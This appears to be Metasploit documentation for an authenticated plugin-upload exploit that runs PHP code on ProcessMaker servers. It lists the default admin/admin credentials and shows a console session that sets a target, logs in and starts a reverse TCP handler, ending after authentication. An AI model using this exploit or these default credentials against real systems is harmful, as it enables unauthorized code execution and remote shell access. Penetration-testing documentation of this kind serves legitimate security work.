This module will generate and upload a plugin to ProcessMaker resulting in execution of PHP code as the web server user.
Credentials for a valid user account with Administrator roles is required to run this module.
## Vulnerable Application
[ProcessMaker](https://www.processmaker.com/) workflow management software allows public and private organizations to automate document intensive, approval-based processes across departments and systems. Business users and process experts with no programming experience can design and run workflows.
This module has been tested successfully on ProcessMaker versions:
The username for a ProcessMaker user with Administrator roles (default: `admin`).
**Password**
The password for the ProcessMaker user (default: `admin`).
The default password for the `admin` user is `admin` on ProcessMaker versions 1.x and 2.x.
For ProcessMaker 3.x onwards, the default password is specified during installation and cannot be the same as the username.
However; when creating a new workspace a new user with Administrator roles is also created. The default username and password for the new user are `admin` and `admin` respectively.
**Workspace**
The ProcessMaker workspace for which the specified user has Administrator roles. (default: `workflow`)
## Scenarios
```
msf > use exploit/multi/http/processmaker_plugin_upload
msf exploit(processmaker_plugin_upload) > set rhost 172.16.191.202
rhost => 172.16.191.202
msf exploit(processmaker_plugin_upload) > set username admin
username => admin
msf exploit(processmaker_plugin_upload) > set password admin
password => admin
msf exploit(processmaker_plugin_upload) > set workspace sample
workspace => sample
msf exploit(processmaker_plugin_upload) > set rport 8080
rport => 8080
msf exploit(processmaker_plugin_upload) > run
[*] Started reverse TCP handler on 172.16.191.181:4444
[*] Authenticating as user 'admin'
[+] 172.16.191.202:8080 Authenticated as user 'admin'
